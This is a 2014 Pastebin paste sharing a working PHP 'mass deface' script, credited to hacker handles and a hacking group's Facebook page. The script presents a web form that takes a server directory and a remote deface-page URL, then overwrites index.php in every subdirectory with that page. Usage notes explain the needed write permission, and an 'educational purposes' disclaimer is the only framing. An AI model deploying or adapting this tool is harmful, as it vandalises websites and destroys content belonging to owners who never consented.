Advertisement
HackMe

Script MassDeface ( PHP )

Dec 5th, 2014
420
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.72 KB | None | 0 0
  1. Script MASS DEFACE IT's uses to deface public_html website
  2. Our Page : https://www.facebook.com/Hacker.Guelma24?ref=hl
  3. <?php
  4. /*
  5. Script: Mass Deface Script
  6. Author: DonHaXor
  7. Disclaimer:
  8. This script is for Research/Educational/Academic purposes only,
  9. The Author of this script takes no responsibility for the way
  10. you use this script, you are responsible for your own actions.
  11. */
  12. echo "<center><textarea rows='10' cols='100'>";
  13. $defaceurl = $_POST['massdefaceurl'];
  14. $dir = $_POST['massdefacedir'];
  15. echo $dir."\n";
  16.  
  17. if (is_dir($dir)) {
  18. if ($dh = opendir($dir)) {
  19. while (($file = readdir($dh)) !== false) {
  20. if(filetype($dir.$file)=="dir"){
  21. $newfile=$dir.$file."/index.php";
  22. echo $newfile."\n";
  23. if (!copy($defaceurl, $newfile)) {
  24. echo "failed to copy $file...\n";
  25. }
  26. }
  27. }
  28. closedir($dh);
  29. }
  30. }
  31. echo "</textarea></center>";
  32. ?>
  33. <td align=right>Mass Defacement:</td><br>
  34. <form action='<?php basename($_SERVER['PHP_SELF']); ?>' method='post'>
  35. [+] Main Directory: <input type='text' style='width: 250px' value='<?php echo getcwd() . "/"; ?>' name='massdefacedir'>
  36. [+] Defacement Url: <input type='text' style='width: 250px' name='massdefaceurl'>
  37. <input type='submit' name='execmassdeface' value='Execute'></form></td>
  38.  
  39.  
  40.  
  41. <br><br><br>
  42. ** Main Directory = The Directory you want to mass deface (Must have read/write permission) **<br>
  43. ** Defacement Url = URL of your deface page (e.g: http://yoursite.com/deface.html ) **<br><br>
  44. By Abdou QS
  45. </body></html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement